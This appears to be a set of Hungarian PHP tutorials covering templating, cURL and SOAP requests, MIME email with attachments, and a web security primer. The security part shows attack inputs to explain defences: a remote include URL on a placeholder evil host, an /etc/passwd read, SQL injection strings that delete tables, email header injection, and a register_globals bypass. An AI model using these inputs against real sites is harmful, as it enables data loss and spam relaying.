		$retval[$object->key()] = $object->current();
	}
	while($item = $object->next());

	return $retval;
}

$instance = new TestClass;

foreach(ObjectIterator($instance) as $key => $value)
{
	echo "$key => $value\n";
}

Tehát mielőtt az objektumot a foreach-be dobnánk, köré rakjuk az ObjectIterator függvényt, ami elvégzi a piszkos munkát. Ugyan gyorsaság szempontjából úgy sejtem, hogy ez a megoldás nem teljesítene jól, mégis több mint a semmi: egy olyan hasznos technikát ad a programozó kezébe, amit az joggal hiányolhat a PHP4-ből.

Köszönet az ihletért az IBM cikkének. (Via Weblabor.)

Vannak esetek, amikor egy külön sablonnyelv célravezetőbb lehet, a sablont írók lekorlátozása, az átláthatóság vagy egyéb okok folytán. De milyen eszközök állnak a rendelkezésünkre, ha a PHP-t szeretnénk használni erre a feladatra? A dolgot rendkívül egyszerűen is elintézhetjük, és írhatunk ehhez hasonló sablonokat is:

<?php
	echo "<h1>".$data['title']."</h1>
		<p>".$data['text']."</p>";
?>

Azon kívül, hogy az így kapott sablonok baromi rondák és átláthatatlanok (főleg ha már elágazásokkal és ciklusokkal is tele vannak tűzdelve), böngészőben sem tudjuk rögtön megnézni őket. Nézzük tehát az első módosítást, amit eszközölhetünk a kódon:

<h1><?php echo $data['title']; ?></h1>
<p><?php echo $data['text']; ?></p>

Így már böngészőben is meg tudjuk nézni a készülő sablont, viszont nem lett sokkal szebb és átláthatóbb. Ha engedélyezve vana php.ini-ben a short_open_tag direktíva, akkor van lehetőségünk használni a következő formát:

<h1><?=$data['title'] ?></h1>
<p><?=$data['text'] ?></p>

Amennyiben erre nincs lehetőségünk, érdemes bevezetni egy függvényt, ami az adott indexű tagot elküldi a kimenetre. Legyen egy ilyen data($key, $return=false) függvény, ami $return=true esetén nem a kimenetre küldi az adatot hanem visszaadja. Ez esetben így módosul a kód:

<h1><?php data('title'); ?></h1>
<p><?php data('text'); ?></p>

A következő dolog a vezérlési szerkezetek. Az ember hamar bele tud bonyolódni a sablon végén gyülekező <?php } ?> stringekbe, hogy az akkor most melyik if vagy éppen while végét jelzi. Ilyen esetekben egész jól használhatók a PHP alternatív vezérlési szerkezetei, melyek annyiban térnek el a jól megszokott szintaxistól, hogy a soruk végén nem nyitó kapcsos zárójel van, hanem kettőspont és nem záró kapcsos zárójellel végződnek hanem a nevüknek megfelelő endif;, endwhile;, endfor;, endforeach;, vagy endswitch; szavakkal. Nézzünk példát is:

<? while ($post = data('post_object', true)->get_next_post()): ?>
<div class="post" id="post-<?=$post['id'] ?>">
	<? if ($post['id'] === 1): ?>
		<h1><?=$post['title'] ?></h1>
	<? else: ?>
		<h2><?=$post['title'] ?></h2>
	<? endif; ?>
	<div class="post-text"><?=$post['text'] ?></div>
</div>
<? endwhile; ?>

Persze a while-ban használt szerkezet csak PHP 5-ben működőképes, legalábbis az általam legutóbb használt PHP 4-es verzió még nem szerette, ha egy függvény által visszaadott objektumra ilyen módon hivatkozok. Nézzük meg, hogy egy hasonló dolgora használt kód hogyan nézne ki Smarty-ban:

{section name="post" loop=$posts}
<div class="post" id="post-{$posts[post].id}">
	{if $posts[post].id == 1}
		<h1>{$posts[post].title}</h1>
	{else}
		<h2>{$posts[post].title}</h2>
	{/if}
	<div class="post-text">{$posts[post].text}</div>
</div>
{/section}

Tény, hogy ez azért egy sokkal átláthatóbb sablonkód (és ha még azt is számításba vesszük, hogy a PHP-nél a legjobb esetet vettem figyelembe, mivel az olvashatóságot még ronthatná a teljes <?php nyitótag és a <?= helyett az echo-s változat), viszont arról sem szabad megfeledkezni, hogy ez is csak egy alternatíva, mondjuk egy olyan alternatíva, amikor a sablonkódot csak mi, vagy csak olyan emberek írják, akik értenek a PHP-hez. Nézzünk még a végére egy kis WordPress template kódot is, ami hasonló célt szolgál mint a fenti két kód:

<div class="post" id="post-<? the_ID(); ?>">
	<? if ($post->ID === 1): ?>
		<h1><? the_title(); ?></h1>
	<? else: ?>
		<h2><? the_title(); ?></h2>
	<? endif; ?>
	<div class="post-text"><? the_content('Tovább...'); ?></div>
</div>

Mint az látszik, olyan projektekben is használható a PHP alapú sablonnyelv-rendszer, mint a WordPress, amit nem hiszem, hogy csak (PHP) programozók használnának és nem hiszem, hogy csak ők írnának rá sablonokat, vagy piszkálnának bele a már meglévő sablonjaikba. Vagy egy másik jó példa a Drupal lehetne, ami szintén egy elég menő tartalomkezelő rendszer (bár ott, amennyire tudom több féle megoldás is létezik a template írására). Lényeg, hogy egyik módszert sem akarom lehordani, csak néha érdemes elgondolkozni, hogy az éppen aktuális munka készítése során mikor szükséges külön eszközt használni arra, amit a PHP-vel is könnyen megoldhatunk.

A feladat tehát, hogy az MNB SOAP alapú webszolgáltatását használva lekérjük az éppen aktuális árfolyamokat a PHP egy 4.4 feletti verziója segítségével. Az MNB-nél elég programozó-barátak ilyen téren, a http://www.mnb.hu/arfolyamok.asmx címen tulajdonképpen mindent megtudhatunk a szolgáltatás működéséről, kezdve attól, hogy milyen formátumú XML-t várnak tőlünk, addig, hogy milyen formátumút fogunk mi azért cserébe kapni. Természetesen a dolog nem ennyire szép, mivel csak a szabványos SOAP kérés-válasz van leírva, hogy az adatokat magukat milyen formátumban kapjuk, az nincs. Részletkérdés, úgyis látni fogjuk... :)

Mint az a fentebb említett címen kitűnően látható, három függvény áll a rendelkezésünkre, ebből mi csak a középsőt fogjuk használni, mivel az adja vissza az aktuális árfolyamokat. Ha vagyunk olyan bátrak és rá is kattintunk, láthatjuk a kérés és válasz szabványos formáját. Kezdjük is el a kódolást:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.mnb.hu/arfolyamok.asmx");
curl_setopt($ch, CURLOPT_HEADER, 0);

Létrehozunk egy cURL kapcsolatot, majd megadjuk neki az URL-t, megmondjuk, hogy nem kérünk header-eket, a könnyebb feldolgozhatóság érdekében. A példa XML header-jében látszik, hogy POST-olnunk kell az adatokat a rendszernek, ezért a következő beállításra is szükségünk lesz:

curl_setopt($ch, CURLOPT_POST, true);

Ennek viszont megvan az a hátránya, hogy az alapértelmezett Content-Type application/x-www-form-urlencoded lesz, a szolgáltatás viszont text/xml-t vár el tőlünk (és ezt nem is felejti el megjegyezni egy hiba formájában ha mégis az előbbivel küldjük neki az adatokat). Így ezt át kell állítanunk, valamint egy saját header-re is szükségünk van (SOAPAction):

curl_setopt($ch, CURLOPT_HTTPHEADER, array(
	'Content-Type: text/xml; charset=utf-8',
	'SOAPAction: "http://www.mnb.hu/webservices/GetCurrentExchangeRates"'
));

Nincs más hátra, mint a megfelelő curl_setopt segítségével a POST adatot hozzácsapni a kérés végére:

curl_setopt($ch, CURLOPT_POSTFIELDS, "<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
	<soap:Body>
		<GetCurrentExchangeRates xmlns=\"http://www.mnb.hu/webservices/\"/>
	</soap:Body>
</soap:Envelope>");

Már csak egy utolsó beállítás, hogy ne rögtön kiírja az eredményt, hanem visszaadja, majd végrehajtjuk a lekérést és lezárjuk a kapcsolatot:

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$soap_response = curl_exec($ch);
curl_close($ch);

Meg is volnánk. Bár tény, hogy a SOAP osztályt használva fele ennyi kóddal megúsztuk volna és abban már az eredmény kinyerése a SOAP válaszból is meglett volna, de ez legalább működik PHP 4-es környezetben is. Klimatizált szerverszobában gazdag további nyarat Mindenkinek.

A továbbiakban megnézzük, hogyan tudunk felépíteni egy HTML levelet, amihez egy képet csatoltunk hozzá. A dolog ott bonyolódik meg, hogy úgy szeretnénk azt a HTML levelet kiküldeni, hogy akinek az e-mail olvasója nem támogatja az ilyen leveleket az is el tudja majd olvasni. Azaz alternatívaként a levélben meg kell adnunk a sima szöveg változatot is.

--boundary_mixed
ide jön majd a levél szövege

--boundary_mixed
ide jön majd a kép

--boundary_mixed--

A "boundary_mixed" az egyedi azonosító, amivel daraboljuk a levelet. Új blokk kezdésénél két kötőjelet írunk az elválasztó elé, ha pedig le akarjuk zárni az utolsó blokkot, akkor az elválasztó elé és mögé is írunk két kötőjelet. A dolog ott bonyolódik csak meg egy picit, hogy a levél szövegét is több részre kell bontani majd, tehát egy lépéssel később a levél tartalma már így fog kinézni:

--boundary_mixed
Content-Type: multipart/alternative; boundary=boundary_alt

--boundary_alt
a levél sima szövege

--boundary_alt
a levél html szövege

--boundary_alt--

--boundary_mixed
ide jön majd a kép

--boundary_mixed--

Mint látszik, az első blokk elején megadtuk a blokk tartalmának a típusát (ezt majd a többi blokk kezdetnél is meg kell majd adnunk), amiben definiáltunk egy új elválasztó elemet. A multipart/alternative típus tulajdonsága, hogy a benne felsorolt blokkokból azt jeleníti meg, amelyiket a felhasználó e-mail olvasója támogat. Épp ezt akartuk elérni, hogy ha a kliens nem támogatja a HTML alapú leveleket, akkor a sima szöveget kapja meg. A levél tartalma így fog kinézni, miután mindenhol megadtuk a megfelelő fejléc elemeket:

--boundary_mixed
Content-Type: multipart/alternative; boundary=boundary_alt

--boundary_alt
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

a levél sima szövege

--boundary_alt
Content-Type: text/html; charset=iso-8859-2
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

a levél html szövege

--boundary_alt--

--boundary_mixed
Content-Type: image/gif; name=image.gif
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=image.gif

a kép base64-el elkódolva

--boundary_mixed--

A multipart résztől eltekintve a Content-Type fejléc teljesen hasonlóan viselkedik, mint a HTML-es fejlécek. A Content-Transfer-Encoding határozza meg, hogy milyen formátumban van az adott szöveg abban a blokkban. Kép esetén ez egy base64-es elkódolást jelent, szöveg esetén a quoted-printable értéket használjuk, aminek az esetén a blokk az ASCII karakterkészlet nyomtatható karaktereiből álló karakterláncot fog tartalmazni. A Content-Disposition azt adja meg, hogy a blokk a levél megjelenítésekor hogyan legyen kezelve (csatolt állományként (attachment), vagy jelenjen meg az e-mailben (inline)). A levél tartalma már megvan, most már csak a levél fejlécét kell megadnunk, ami annyiban módosul, hogy ott kell definiálnunk az első elválasztó elemünket (boundary_mixed) és meg kell adnunk a MIME verzióját:

From: a levél feladója
MIME-Version: 1.0
Content-type: multipart/mixed; boundary=boundary_mixed

Nincs más hátra, mint hogy ezt az egészet PHP-ben is megvalósítsuk, ami innentől már nem lesz egy bonyolult dolog:

$files   = array('image/gif' => 'image.gif');
$from    = 'a levél feladója';
$to      = 'a levél címzettje';
$subject = 'a levél témája';
$content = 'a levél tartalma, ami HTML-t is tartalmazhat';

$bd_mixed = md5(uniqid(rand(), true));
$bd_alt   = md5(uniqid(rand(), true));

$header =
'From: '.$from.'
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="'.$bd_mixed. '" ';

$text =
'--'.$bd_mixed. '
Content-Type: multipart/alternative; boundary="'.$bd_alt.'"

--'.$bd_alt.'
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

'.trim(strip_tags($content)).'

--'.$bd_alt.'
Content-Type: text/html; charset=iso-8859-2
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

'.$content.'

--'.$bd_alt.'--

';

foreach ($files as $mime => $name) {
	$text .=
'--'.$bd_mixed.'
Content-Type: '.$mime.'; name="'.$name.'"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="'.$name.'"

'.chunk_split(base64_encode(file_get_contents($name))).'

';
}
$text .= '--'.$bd_mixed.'--';

mail($to, $subject, $text, $header);

Ennyi lenne a kód, mint említettem, nem egy bonyolult dolog, a fentebb írt mail-darabolási ismeret birtokában. Talán csak a chunk_split függvény szorul némi magyarázatra: ha a szövegen kívül nem adunk meg neki más paramétert, akkor a 2045-ös RFC-nek megfelelő szemantika alapján 76 karakterenként tesz egy "\r\n"-t a szövegbe.

Erről ennyit, kellemes csatolt fájlokkal tűzdelt e-mail küldözgetést mindenkinek. :)

Így jött a gondolat, hogy csokorba szedek néhány ilyen gyakran elkövetett figyelmetlenséget, hogy minél kevesebben követhessék el ezeket és az ezekhez hasonló a hibákat a jövőben.

Input adatok

Mi is okozhat gondot egy honlappal kapcsolatban? Természetesen a bejövő adatok. Itt első sorban mindenki a $_GET, $_POST változókra gondol, de ugyanakkora (sőt, mivel az ember első körben nem gondolna rájuk, talán még nagyobb) veszélyt jelenthet a $_COOKIE tömb és a $_SERVER tömb egyes elemei is.

A szűretlen adatoknak rengeteg veszélye van. Általában több is, mint arra gondolnánk. Vegyünk egy példát, amiben is van egy vendégkönyvünk, ahol a megjelenő adatokat egyáltalán nem szűrjük. Ezzel a legelső szembeötlő probléma az, hogy a vendégkönybe író felhasználó bármilyen HTML kódot használhat. Nézzük csak, mit is jelenthet ez:

• Jobb esetben a felhasználó szépen megformázott hozzászólásokat fog beküldeni. Ritka, de nem elképzelhetetlen... :)
• Rosszabb esetben akár beszúrhat egy <iframe> taget, amiben megjelenítheti akár a saját oldalát, akár bármilyen más oldalt.
• Ha pechünk van, és valami rosszindulatú hozzáértő téved oldalunkra, akkor elkezdhet valamiféle JavaScriptet (<script>) tenni a hozzászólásába, amivel már szinte bármit elérhet, ha a látogató böngészőjében engedélyezve van a JS, ami nem egy ritka dolog manapság. Csak, hogy egy példát is említsek, JavaScript segítségével ellophatja az oldalra látogatók munkamenet cookie-jait, így amíg azok érvényesek, "be tud lépni" akként a felhasználóként.

Mi a megoldás? Ne jelenítsünk meg az oldalon szűretlen adatokat, sőt, a legjobb, ha már úgy tesszük el az adatbázisba az adatokat, hogy szűrtük őket. Jelen esetben például használható a strip_tags(), a htmlentities() vagy a htmlspecialchars() függvény is. Érdemes mondjuk egy BBCode-szerű formázási rendszert hagyni a felhasználóknak, mint megengedni, hogy HTML tageket használjanak (még ha az szűrve is van a strip_tags() segítségével).

Másik hasonló dolog, ha például /index.php?file=main.html formában jelenítjük meg az oldalakat, valami ilyesmi kóddal:

<?php
	include('header.html');

	if (isset($_GET['file'])) {
		include($_GET['file']);
	}
	else {
		include('main.html');
	}

	include('footer.html');
?>

Érezhető probléma van ezzel a kóddal. Ha a php.ini-ben az allow_url_fopen beállítás bekapcsolva van és a kérés a következő: /index.php?file=http://gonoszszerver/gonoszphp.php, akkor bizony csúnyán megszívhatjuk a PHP tartalmától függően (csak hogy egy light-osabb példát említsek: valamilyen config fájl tartalmát kiirathatja a gonosz felhasználó). Itt jegyezném meg azért, hogy ha a gonoszszerveren van PHP, akkor a gonoszphp.php előbb a gonoszszerveren fog lefutni. De ha az allow_url_fopen még nincs is engedélyezve, képzeljünk el egy ilyen vagy ehhez hasonló kérést: /index.php?file=/etc/passwd. Persze, ez esetben szükség van arra is, hogy a webszevert futtató felhasználói fióknak joga legyen olvasni azt a fájlt, ami már magában is egy biztonsági rés, minden esetre nem elképzelhetetlen. Nézzünk egy megoldást is a sok közül, ami megszünteti az ilyen típusú támadásokhoz nyújtott felületet:

<?php
	include('header.html');

	$pages = array('main.html', 'aboutus.html', 'links.html');
	if (isset($_GET['file'])) {
		if (in_array($_GET['file'], $pages)) {
			include($_GET['file']);
		}
		else {
			/* itt van lehetőség loggolni a támadási kísérletet */
			include('main.html');
		}
	}
	else {
		include('main.html');
	}

	include('footer.html');
?>

A $_COOKIE tömb

Tegyük fel, hogy valami olyan adatot tárolunk sütikben, amik nem szeretnénk, ha megváltoztathatóak legyenek a felhasználó által. A süti, mivel a felhasználó gépén található, ezért tartalma egyszerűen megváltoztatható, így a benne lévő adatokban egyáltalán nem bízhatunk meg. Ennél fogva, ha mondjuk egy saját munkamenet kezelő sütit készítünk, amiben tároljuk a felhasználó azonosítóját és a lejárat idejét, akkor nem szeretnénk, ha mondjuk a felhasználó gondolna egyet és átírhatná az azonosítóját valami másra.

Jön a gondolat, hogy akkor valahogy el kéne kódolni az adatokat, vagy valami hitelesítési megoldást kellene hozzá találni. Az első gondolatra megoldást nyújthat a PHP mcrypt kiterjesztése, ami viszont ha nem áll rendelkezésünkre akkor pechünk van. Így foglalkozzunk inkább az utóbbi dologgal, amivel viszont elvesztjük azt a lehetőséget, hogy olyan adatokat tárolhassunk a sütikben, amiket nem szeretnénk, ha látnának a felhasználók (például a felhasználó jelszavát, de kérdem én, azt mi a francnak tárolnánk el a sütiben):

<?php
	define('PAGE_PASSWORD', 'valami nehezen megjegyezhető jelszó');

	$user_auth = $user_id.';'.time();
	setcookie('user_auth', $user_auth);
	setcookie('user_auth_validator', md5(PAGE_PASSWORD.$user_auth));
?>

Mint látszik, a dolog lényege, hogy bár kódolatlanul eltároltuk a felhasználó azonosítóját, és a süti kiállításának idejét, de mellékeltünk egy user_auth_validator sütit is, ami az oldal jelszavának és az user_auth sütiben tárolt adat összefűzésének az md5 hash-e. Így egy másik oldalon egyszerűen ellenőrizhetjük, hogy a felhasználó nem-e változtatta meg a süti tartalmát:

<?php
	if (md5(PAGE_PASSWORD.$_COOKIE['user_auth']) !== $_COOKIE['user_auth_validator']) {
		die('Valami gáz van a sütivel...');
	}
?>

A $_SERVER tömb

Legritkábban taln a $_SERVER tömbre gyanakodnánk, mint rosszindulatú adatok hordozóira. Sőt, inkább úgy gondol rá az ember, mint olyan adatok tömbje, amit a webszerver ad át nekünk, és hát abba mi lehet, ami nem biztonságos? Hát van egy pár. A legjobb, ha lefuttatunk egy phpinfo() függvényt, és végignézzük a tömb tartalmát, és mindegyiknél alaposan elgondolkozunk, hogy vajon honnan is származik az az adat, és hogy lehet-e valahogy manipulálni?

Hogy egy példával is alátámasszam szavaimat, vegyük mondjuk a $_SERVER["HTTP_USER_AGENT"] változót. Ez elég gyakori használatban van, például egy vendégkönyvben is akár, ahol a kóder mondjuk letárolja a felhasználó IP címét és a böngészője típusát a hozzászólása mellett. Persze jön a gondolat, hogy ennek a megváltoztatása nem egy egyszerű művelet. Mire jön a válasz, hogy egy frászkarikát nem. Például itt van ez az írás, hogy Firefox alatt hogyan tehető ez meg. Tehát, ha ez az adat az SQL kérésbe ágyazáskor nincs megfelelően lekezelve, akkor csúnya dolgokat lehet művelni a segítségével, ahogy ezt a bejegyzés következő részében ki is fogom fejteni.

SQL injection

Az ilyen típusú támadásokkal lehet talán a legnagyobb károkat okozni, ugyanis - jogosultságtól függően - akár egész adatbázisokat is törölni lehet vele. Épp ezért érdemes kellő figyelmet fordítani minden lekérdezésünkre. A sok rizsa helyett nézzünk inkább rögtön egy példát. A kérés a következő: /script.php?user_id=10. A script.php kódja pedig legyen ez:

<?php
	mysql_connect('localhost', 'user', 'password');
	mysql_select_db('database');

	$query = mysql_query("SELECT * FROM users WHERE user_id=".$_GET['user_id']);
?>

Persze, a fenti kéréssel nem lesz semmi gond, lekérdezi az adatbázisból a 10-es id-jű felhasználó adatait. De mi van akkor ha a kérés az a következő: /script.php?user_id=10; DELETE FROM users. Így a lekérdezés az lesz, hogy SELECT * FROM users WHERE user_id=10; DELETE FROM users. Mivel a MySQL támogatja a többszörös lekérdezéseket, emellett nincs visszakérdezés (hogy is lehetne), hogy tényleg törölni szeretnéd-e, ezért egy ilyen kérés után a felhasználók táblád tartalmának búcsút inthetsz.

Igen, lehet azt mondani, hogy "Jaj, de honnan a fészkesből tudná a támadó, hogy hogyan hívják a felhasználók táblámat?". Egyrészt, ez most nem erről szól. Másrészt ez a kód így is, úgy is felelőtlenség, az pedig nem védekezés, hogy a támadó úgysem látja a kódomat, mert hát mi akadályozza meg, hogy annyiszor próbálkozzon, ahányszor csak neki tetszik, méghozzá tulajdonképpen nyom nélkül? A nyom nélkül alatt pedig azt értem, hogy ha az ember nem fér hozzá a webszerver logjaihoz, sohasem fog feltűnni neki, hogy valaki ilyenekkel próbálkozik.

Ez esetben a legjobb megoldás, ha számmá alakítjuk a kapott adatot, így legfeljebb az fordulhat elő, hogy nem fog találni a megadott azonosítónak megfelelő sort. Nézzük hát a módosított kódot:

<?php
	mysql_connect('localhost', 'user', 'password');
	mysql_select_db('database');

	$query = mysql_query("SELECT * FROM users WHERE user_id=".(int)$_GET['user_id']);
?>

Ez esetben nem vittük túlzásba a szűrést, inkább csak egy biztonsági átalakításról van szó. Természetesen a felhasználás előtt jóval már ellenőrizhetjük, hogy a kapott adat egyáltalán szám-e, és megtehetjük a szükséges óvintézkedéseket, valamint logot is készíthetünk az esetről. Nézzük még meg a $_SERVER tömbnél említett dolgot:

<?php
	mysql_connect('localhost', 'user', 'password');
	mysql_select_db('database');

	mysql_query("INSERT INTO guestbook VALUES (
		'',
		'".$_POST['text']."',
		'".$_SERVER['REMOTE_ADDR']."',
		'".$_SERVER['HTTP_USER_AGENT']."')
	");
?>

Ez esetben ha a gonosz felhasználó User Agent-je megszívtad'); DELETE FROM guestbook WHERE ('1 lenne, akkor törölné a guestbook tábla teljes tartalmát. Persze itt már nem használható a fenti (int)-es trükk, valami más után kell néznünk. Az egyik - kevésbé jó - lehetőség az addslashes() lenne, viszont ha tovább keresgélünk akkor megtalálhatjuk a mysql_escape_string() illetve a mysql_real_escape_string() függvényeket is. Ezek azonban csak akkor működnek igazán jól, ha a lekérdezésben rendesen használjuk az idézőjeleket, mivel csak azokat escape-eli ki. Első lekérdezésünk példájával élve, valahogy így:

$query = mysql_query("SELECT * FROM `users` WHERE `user_id`='".mysql_escape_string($_GET['user_id'])."'");

E-mail injection

Ez a támadási forma főleg akkor jöhet elő, ha a spam elkerülése érdekében a felhasználók számára egy űrlapot biztosítunk, hogy tudjanak nekünk levelet küldeni. A felhasználó csak megadja az e-mail címét, a levél témáját és a szövegét, és máris tud levelet küldeni nekünk. De vajon tényleg csak nekünk?

A dolgok könnyebb megértése érdekében talán érdemes a mail() függvény működésébe egy kicsit belemenni. A függvény megadása, ahogy az a PHP referenciában is benne van, a következő: mail(címzett, téma, szöveg, egyéb headerek, egyéb kapcsolók). Ha például meghívjuk a függvényt, így:

mail("felhasznalo@valami.cim", "szia", "levél tartalma", "From: felado@cime.cim");

Abból ez lesz:

To: felhasznalo@valami.cim
Subject: szia
From: felado@cime.cim

levél tartalma

Mivel a levél feladóját, témáját és a tartalmát a felahasználótól kérjük be, ezért a kód valahogy így módosul:

mail($my_mail_address, $_POST['subject'], $_POST['text'], "From: ".$_POST['from']);

Jóhiszeműen bekérjük a felhasználó e-mail címét, hogy úgy tűnjön a levél tőle érkezett hozzánk, megkönnyítve ezzel a saját dolgunkat, erre a gonosz felhasználó ezt adja meg e-mail címnek: "valami@mail.cim\r\nBcc: user1@valami.mail, user2@valami.mail, user3@valami.mail". Ebből pedig ez a levél fog születni:

To: felhasznalo@valami.cim
Subject: szia
From: valami@mail.cim
Bcc: user1@valami.mail, user2@valami.mail, user3@valami.mail

levél tartalma

Tehát a levelet még rajtunk kívül három másik ember is megkapta. Persze ezt nem igazán szeretnénk. Sőt, ha még a sort kiegészíti úgy, hogy tartalmazzon még egy "To:" részt (valahogy így: "valami@mail.cim\r\nBcc: user1@valami.mail\r\nTo: masik@email.cim"), akkor mi meg se fogjuk kapni a levelet. A dolog lényege az, hogy nem szabad a bejövő adatokban megengedni az újsor karaktereket. Ezeket vagy kiszűrjük, vagy csak a bejövő adat első sorát használjuk fel. Ezzel el is kerülhető az e-mail injection.

Egyéb tényezők

Mint az fentebb is látszott, az allow_url_fopen elég nagy gondokat tud okozni, megfelelően felelőtlen PHP kódoló és megfelelően felelőtlen rendszergazda használata mellett. Emellett még gondok lehetnek a register_globals beállítással is, aminek hatására ugyebár a $_POST['valami'] változót $valami néven is elérhetjük. A gond természetsen ott van, hogy a $_GET['valami'] változóból is $valami lesz, így a $valami változót használó kód, aki arra számít, hogy $_POST-ból kap adatokat, $_GET-ből is simán kaphat. De a register_globals miatt, ilyesmi kódokkal is gond lehet:

<?php
	if ($_POST['name'] === 'name' && $_POST['password'] === 'password') {
		$authorized = true;
	}
	if ($authorized == true) {
		/* valami bizalmas adat megjelenítése */
	}
?>

Bár látszik, hogy a POST adatok elérésére a $_POST tömböt használjuk, de ha a scriptet úgy hívjuk meg, hogy /script.php?authorized=true, akkor a register_globals miatt a második elágazás is igazra értékelődik ki, ha nem küldtük el POST-ban a megfelelő felhasználó nevet és jelszót. Persze a kód register_globals bekapcsolt állapota mellett is könnyen javítható:

<?php
	$authorized = false;
	if ($_POST['name'] === 'name' && $_POST['password'] === 'password') {
		$authorized = true;
	}
	if ($authorized == true) {
		/* valami bizalmas adat megjelenítése */
	}
?>

Mellesleg magának a kódnak egy második hibája is volt, ami miatt a fenti hiba kihasználható lett. Ez a kettős egyenlőségjel használata volt az if ($authorized == true) sorban. Ha a kódban hármas egyenlőségjelet használunk kettős helyett, akkor a GET-ben megadott 'true' stringgel nem értékelte volna ki a kifejezést igaznak a PHP. Ebből bárhol máshol is rengeteg probléma lehet, így - meglátásom szerint legalábbis - érdemes összehasonlítások esetében a hármas egyenlőségjelet preferálni a kettős egyenlőségjellel szemben.

Egy másik probléma a magic_quotes_gpc beállítás lehet. Bár a beállítás azért született, hogy a bejövő adatokban a szimpla és a dupla idézőjeleket automatikusan backslash-el escape-elje növelve ezzel a biztonságot, ez szerintem csak hamis biztonságérzetet ad a kód írójának, ugyanis magic_quotes_gpc bekapcsolt állapota mellett is lehet olyan rosszindulatú adatokat küldeni, amik elérik céljukat. Így érdemesebb minden bejövő adatot saját kézzel szűrni. De a gond természtesen nem csak PHP oldalról jöhet, a MySQL alapértelmezett beállításai tovább ronthatják a helyzetet egy hasonló támadás esetén (gondolok itt a jelszó nélküli root felhasználóra, aki bármilyen hostról csatlakozhat), bár az ilyen hibák csak akkor használhatóak ki igazán, ha PHP oldalon van felület a bejutásra.

Befejezésként nem mondhatok mást, mint hogy szűrjetek, szűrjetek, szűrjetek. Minden nem megbízható forrásból (mint például adatbázis) származó adatot szűrni kell. Nincs kivétel, nincs kifogás. Ehhez persze szükség van arra, hogy ismerjük a dolgok működését, hogy tudjuk egyáltalán mit is kell szűrni. A másik dolog, ami még sosem árt, hogy minden ilyen esemény naplózva legyen, hogy legalább lássuk, ha valaki ilyesmivel próbálkozik.

Először is, vadásznunk kell magunknak egy application id-t, amit majd minden kéréshez hozzá kell csatolnunk. Ehhez szükségünk lesz egy Yahoo! ID-re is, mert akkor már ugye növeljük a Yahoo! felhasználók táborát. Ha minden megvan, akkor igazából készen is vagyunk és kezdhetünk kódot írni. A kódoláshoz használtam a cURL kiterjesztést, mivel ez nagyban megkönnyíti a dolgunkat, de használhatnánk file_get_contents() függvényt, ha engedélyezve van a php.ini-ben az allow_url_fopen vagy pedig használhatjuk az fsockopen() függvényt is, ha lehetőségünk van rá.

No, csapjunk a lecsóba, nézzünk egy kis kódot, amivel megkaphatjuk egy keresés eredményét XML formátumban:

header('Content-Type: text/xml');

$app_id = 'ide jön az application id';

$service = array(
	'image' => 'http://api.search.yahoo.com/ImageSearchService/V1/imageSearch',
	'local' => 'http://api.local.yahoo.com/LocalSearchService/V1/localSearch',
	'news' => 'http://api.search.yahoo.com/NewsSearchService/V1/newsSearch',
	'video' => 'http://api.search.yahoo.com/VideoSearchService/V1/videoSearch',
	'web' => 'http://api.search.yahoo.com/WebSearchService/V1/webSearch'
);

$conn = curl_init($service['web'].'?appid='.$app_id.'&query=deadlime');
curl_setopt($conn, CURLOPT_HEADER, false);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, true);
$xml = curl_exec($conn);
curl_close($conn);
 
echo $xml;

Mint az látszik, van egy $service tömb, amiben tároljuk a Yahoo! egyes API-jainak az elérési útját. Tulajdonképpen mindenféle PHP nélkül a böngészőben is játszhatnánk ezzel, hogy beírjuk címnek az egyik szolgáltatást és a következő GET paraméterekkel bővítjük a lekérdezést:

appid

Az application id, amit kaptál.

query

A lekérés szövege, érdemes lefuttatni rajta egy urlencode() vagy rawurlencode() függvényt.

zip

Zipcode, csak a Local Search szolgáltatásnál használható.

start

Ezzel lehet megadni, hogy hányadik elemtől mutassa a találatokat.

Nincs más hátra, mint kinyerni az adatokat a kapott XML fájlból, aminek a formátuma a $service['web'] esetén (ezt használtuk a fentebbi PHP példában) a következő:

<ResultSet xsi:schemaLocation="urn:yahoo:srch http://api.search.yahoo.com/WebSearchService/V1/WebSearchResponse.xsd" totalResultsAvailable="" totalResultsReturned="" firstResultPosition="">
	<Result>
		<Title></Title>
		<Summary></Summary>
		<Url></Url>
		<ClickUrl></ClickUrl>
		<ModificationDate></ModificationDate>
		<MimeType></MimeType>
		<Cache>
			<Url></Url>
			<Size></Size>
		</Cache>
	</Result>
</ResultSet>

Nagyjából ennyi lenne a dolog. Mint az jól látszik, nem annyira testreszabható, mint a Google által kínált felület, viszont próbára tehetjük vele az XML értelmezési tudásunkat... :)

A szolgáltatások elérése SOAP-al történik. Java illetve .NET nyelvekhez példaprogramokat is letölthetünk, illetve az osztálykönyvtárakat is a könnyebb eléréshez. Php-ben a beépített SOAP kiterjesztés áll a rendelkezésünkre. Ahhoz, hogy el is érjük ezt a kiterjesztést, linuxon az --enable-soap kapcsolót kell használni, illetve a php.ini-ben szerepeltetni kell az extension-oknál. Első dolgunk, hogy példányosítunk egy SOAP klienst.

$client = new SoapClient('http://api.google.com/GoogleSearch.wsdl');

A kliensnek kezdésként meg kell adnunk a web szolgáltatást leíró fájl címét. Ebből fogja "tudni", hogy milyen szolgáltatások, milyen függvények hívhatók meg és azokra mit kell visszakapnia.

A példányosítás után már elég könnyű dolgunk van, csak a megfelelő függvényeket kell meghívnunk a kliensen keresztül. A visszatérési érték mindhárom esetben más típusú.
A helyesírás ellenőrző:

try
{
	$params = array(
		'key' 		=> '',		# licence key					
		'phrase' 	=> 'deadlime'	# kifejezés
	);
